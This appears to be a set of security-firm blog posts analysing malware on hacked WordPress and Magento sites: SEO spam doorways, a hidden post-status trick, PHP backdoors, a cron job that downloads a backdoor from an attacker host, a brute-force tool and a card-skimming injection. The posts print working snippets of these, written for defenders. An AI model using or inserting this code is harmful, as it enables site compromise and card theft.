Category: Uncategorized

Chinese replica spam campaigns aim for large number of doorways per infected site. And quite often their doorways are static, which means hundreds of thousands created .html files.

Last year the most popular approach was creating several directories with meaningless names with 10-30 thousand doorways in each. This year we began noticing a new modification that creates only one doorway file (content.php) per directory, but the number of such spammy directories may be staggering. For example, on a site that had been compromised for at least three months (it easy to tell as the directory names are time stamps such as 20160112123901 or 20160123165028), the hackers created over 200,000 such directories.

As you might imagine, not all shared hosts may properly manage such large numbers of files. In some cases, this leads to exceeding account inode quota. Even a simple ls command may become a problem. Here's the warning that you may see on a DreamHost server when you execute the ls command in a directrory with too many spammy subdirectories.

$ ls -l | wc -lYikes! One of your processes (ls, pid 21519) was just killed for excessive resource usage.Please contact DreamHost Support for details.208897

Don't wait until hackers cause serious problems. Add security monitoring and protection to your site.

A compromised website is perfect for placing black hat SEO doorways. Usually hackers either create such doorways as static files in deep subdirectories or use a script that dynamically generates doorways and map them to site URLs using various .htaccess rewrite tricks. Sometimes they even install whole CMS' with spammy content in subdirectories of legitimate sites.

A more rare and extreme option is to use an existing CMS to create doorways. The main problem with this approach is that the spammy posts are visible to all visitors and site admins who can delete them as soon as they find them.

But if you know how the CMS works internally you can tweak it to hide spammy posts from real visitors while leaving them visible to search engines. Here's an example of a WordPress malware that does just this:

The main idea is to register a new post status:

register_post_status( 'test', array(				'public'                    => true,				'exclude_from_search'       => true,				'show_in_admin_all_list'    => false,				'show_in_admin_status_list' => false		) );

The posts with this status are excluded from search results and from editing listings in the admin interface.

To make sure search engines see them, hackers ping them using the weblogUpdates.extendedPing API every time they create a new post and provide them with a modified feed that includes posts with this new status:

function feed_door(){		query_posts( 'post_status=test&showposts=20' );		require( ABSPATH . WPINC . '/feed-atom.php' );	}

In this particular case, the code that created and managed all these custom spammy posts was hidden in the wptheme_opt option inside WordPress database, and this line inside the active theme's functions.php file invoked the code:

<?php add_action('init', create_function('',     implode("n", array_map("base64_decode",    unserialize(get_option("wptheme_opt")))))); ?>

Other parts of this malware were stored in the wpdhtml and wpdcon WordPress options in the database.

Such tricks are not possible without WordPress hooks so you should monitor integrity of all WordPress files: core, themes, plugins. Removing the hooks is usually enough to clean the site, but you may still want to remove spammy posts from your WordPress database.

Check if Google indexed suspicious pages on your site or shows your site pages in search results for unrelated queries (in this particular case it was the essay spam). You can find this information in Google Search Console. If you see such strange indexed pages, use the Fetch As Google tool in Search Console to make sure Google no longer sees them.

You may remove malware from files and a database, close all security holes, change all passwords, but your site still gets reinfected regularly. It may be because you forgot to clean your crontab.

Here's an example of a malicious cron job that creates a backdoor file in the /wp-includes/Text/Diff/Engine directory every other day:

DOWNLOAD_URL="hxxp://cpanel .jawebsolutions .com/u/w.gz"LOCAL_FILE_PATH="/home/username/public_html/wp-includes/Text/Diff/Engine/i18n.php"1 3 */2 * * rm -f /var/tmp/w.gz ; wget -q -O /var/tmp/w.gz $DOWNLOAD_URL && gunzip -c /var/tmp/w.gz > $LOCAL_FILE_PATH && touch -c -t 201007151834 $LOCAL_FILE_PATH && rm -f /var/tmp/w.gz

So don't forget to check cron jobs in your hosting control panel or use the crontab -l command if you have SSH access.

There used to be this backdoor that was mainly uploaded via old Gravity Forms vulnerabilities:

< script language="php" >
$a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).
chr(101).chr(99).chr(111).chr(100).chr(101);
e v a l($a($_REQUEST[sam]));</script>

Originally, it\'s a one line script. To improve readability and avoid anti-virus false alarms I broke it into multiple lines and added obvious spaces inside the eval keyword. You can find similar modifications in the second snippet too.

The chr(98).chr(97)... part decodes to base64_decode which makes it a typical backdoor that executes arbitrary base64 encoded PHP code passed in the sam request parameter.

While base64_decode was obfuscated, the eval keyword was still prominent, which made the script easy to detect.

A couple of weeks ago we began finding a new version of this backdoor (usually in wp-check.php files).

<?php 
$m=chr(98).chr(97). chr(115).chr(101).chr(54).chr(52).chr(95).
chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$m=$m($_REQUEST[chr(122)]);
@file_put_contents(chr(122),"<?php ".$m);
@include(chr(122));
@unlink(chr(122));

Again, originally it\'s all in one line. You can recognize the obfuscated base64_decode on the first line. The second line looks similar but there\'s no eval and the request parameter name is now obfuscated: chr(122) decodes to z. Let\'s see how it works without the eval:

The decoded value of the z request parameter is prepended by the PHP opening tag <?php and saved in the z file in the current directory. Now the z file contains the code provided by the attackers. To execute the code, they include the z file in to the current script @include(chr(122)); and then delete it @unlink(chr(122)); to removed traces of their activity.

Note, we usually find this backdoor on severely infected sites with outdated WordPress plugins. Such sites usually have 3-5 more types of backdoors scattered across different directories. If you find this backdoor on server, it usually means that either your site uses outdated/vulnerable plugins/themes/components, or it had been hacked, then cleaned, but you failed to deleted all the backdoors last time, so the attackers still have access to your site.

It's quite a common black hat SEO practice to insert fake rating rich snippets on doorway pages to make them attract more attention on search result pages and to give them more credibility.

Here is one example of how such fake ratings are being generated:

...$rating = rand(3,5);$rcount = rand(120,220);$txt = "<div itemscope="" itemtype="http://schema.org/Product">n    <span itemprop="name">$htitle</span>n    <div itemprop="aggregateRating" itemscope=""    itemtype="http://schema.org/AggregateRating">n    <span itemprop="ratingValue">$rating-5</span> stars based onn    <span itemprop="reviewCount">$rcount</span> reviewsn</div>n    </div>n";...

As you can see, they aim for ratings like 4-5 stars based on 133 reviews, but both the rating and the number of reviews are just random numbers in the ranges that make them look both plausible (not 5 stars always) and trustworthy (based on at least 120 reviews). Funny, this particular code allows to generate ratings like 5-5 stars 😉

As many other things on the web, you shouldn't immediately trust anything what you see in Google's search results. Those rating stars are not a seal of quality from Google. It's just information provided by sites themselves. Moreover, when you search for cheap prescription drugs, pirated software, luxury replicas or questionable financial services, quite often such ratings in search results are fake, and results lead to doorways on hacked sites.

If your site doesn't use rich snippets on its pages, but you see them in the Search Appearance/Structured Data section of Google Search Console, this may be a sign of a hack.

It's one of many examples of SEO poisoning infections that we deal with. We literally remove Gigabytes of spammy doorways from hacked sites every day and if you need a professional help, you can always count on us.

Just a quick reminder:

• Don't use common words and easy character combinations as passwords.
• Your compromised site can be used to hack third-party sites.

A real world confirmation of the above two statements sometimes can be found in one script. For example in a so called WordPress Brute Force Tool that we regularly find uploaded to compromised sites.

...if($_POST){	if(!function_exists(curl_init)) die('<font color="red">[-] Not Curl HERE!<br></font>');	$username = trim($_POST['username']);	$thread = trim($_POST['threads']);	$wordlist = array_filter(file($_POST['wordlist']));	if(!is_file($_POST['wordlist'])) die('<font color="red">[-] File '.$_POST['wordlist'].' not found!</font><br>');	$log = trim($_POST['log']);	$urlz = array_filter(explode("rn", $_POST['sites']));	foreach($urlz as $url){		la_brute($url, $username, $wordlist, $thread, $log);	}}

This tool receives lists of WordPress sites and common passwords. Then it tries every login/password combination on every site and reports the combinations that worked. To improve performance, this particular tool sends requests to multiple sites at once using asynchronous Curl functions.

Having uploaded such tools to multiple compromised sites on different servers, hackers can conduct distributed brute-force attacks.

Brute-forcing is just one of the many types of distributed attacks that your compromised site may be used for. DDoS attacks and vulnerability scans also regularly leverage resources of hacked sites.

Make the Internet safer: Use strong passwords and protect your site.

The Magento Shoplift vulnerability had been patched about a year ago. And all this time we have been cleaning various Magento infections that steal customer credit card details either via server level code or JavaScript injected into order pages.

Modifications of the app/code/core/Mage/Payment/Model/Method/Cc.php file are among the most popular. Here are some typical examples that we wrote about:

• Impacts of a Hack on a Magento Ecommerce Website
• Magento script stealing credit card details

Recently we found one more modification of this malware. The code is almost identical. The main changes are the use of online services to retrieve geolocation data based on the victim IP address

$dip = json_decode(file_get_contents("http://ip-api.com/json/".$ip.""));$country = $dip->country;

and the bank data based on the credit card number

$bin = substr($binx, 0, 6);$getbank = json_decode(file_get_contents("http://www.binlist.net/json/".$bin.""));$ccbrand = $getbank->brand;$ccbank = $getbank->bank;$cctype = $getbank->card_type;

plus the new remote address where they send the stolen data to: hxxps://www.herdamultimedia[.]com/resulta.php, which seems to also be a hacked site.

The most interesting thing about this malware is that not only did it inject the malicious code into Cc.php but also encrypted the whole file content so that it looks like one long line of code:

<?php /* Mr-GanDrunX - Hiddenymouz - HiddenCode */ error_reporting(0); define('__LOCALFILE__',__FILE__); goto HIDDEN; function gandrunx(){ preg_replace("/.*/e",strrev("x3Bx29x29x29'=Q..... 

This encryption is mainly used by Indonesian hackers.

Why did they encrypt the file? Probably to avoid detection when people search for the malware patterns that we reported before. However, it's actually not a very bright idea. Many malware scanners will detect the suspicious encryption anyway. Plus it is very easy to find it if you compare files to the canonical Magento files.

If you see modified core Magento files don't try to identify and remove the malicious code - just replace them with the original ones. And don't forget to update/patch Magento, check if there are any malicious administrator users and scan your server for backdoors that hackers might left there. Or let Sucuri take care of your site